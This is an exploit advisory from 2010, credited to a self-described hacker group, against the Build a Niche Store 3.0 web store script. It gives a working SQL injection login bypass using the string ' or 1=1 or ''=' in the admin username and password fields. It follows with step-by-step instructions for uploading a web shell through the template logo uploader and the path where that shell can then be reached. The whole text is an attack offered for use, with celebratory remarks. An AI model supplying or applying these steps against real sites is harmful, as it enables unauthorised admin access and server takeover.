Build a Niche Store 3.0 - 'BANS' Authentication Bypass

#########################################################################

[+] Exploit Title : Build a Niche Store v3.0 (BANS) Authentication
Bypass Vulnerability
[~] Author : ThunDEr HeaD
[~] Contact : thunderhead10@gmail.com
[~] Date : 13-11-2010
[~] HomePage : www.indishell.in
[~] Price : $49.95
[~] Version : 3.0
[~] Software: http://www.buildanichestore.com/
[~] Vulnerability Style : Authentication Bypass / Shell Upload
[~] Vulnerability Dir : Shell By: themes/

#########################################################################

~~~~~~~~~~~~~~~~~~~~~~~~~[Greetz To]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

              ----==  INDIAN CYBER ARMY ==----

We Are: -[SiLeNtp0is0n]- , stRaNgEr , inX_rOot , NEO H4cK3R , DarkL00k
, G00g!3 W@rr!0r , str1k3r, co0Lt04d , ATUL DWIVEDI ,

Jackh4xor , Th3 RDX
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

~~~~~~~~~~~~~~~~~~~~~~~~~~[EXPLOIT]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---==[Authentication Bypass]==---

[1] Go to the URL:

    http://server/admin

[2] Apply these details for login:

        Username: ' or 1=1 or ''='
	PassWord: ' or 1=1 or ''='

[3] You will Redirected to Admin page:

[4] Enjoy

---==[Uploading Shell]==---

[1] Before Uploading you Must be Logged in (Admin Panel)

[2] Go To Template Page:

    http://server/admin/index.php?action=getTemplate

[3] Many Layout Options will be appeared, choose any one

[4] Click On upload logo (eg. layout 3 right)

[5] Upload Your Shell

[6] After Uploading type the following link to access your shell

    http://server/themes/layout-3-right/images/

[7] DOne now time to rock \m/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Bug discovered : 13 November 2010

finish(0);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

#End 0Day#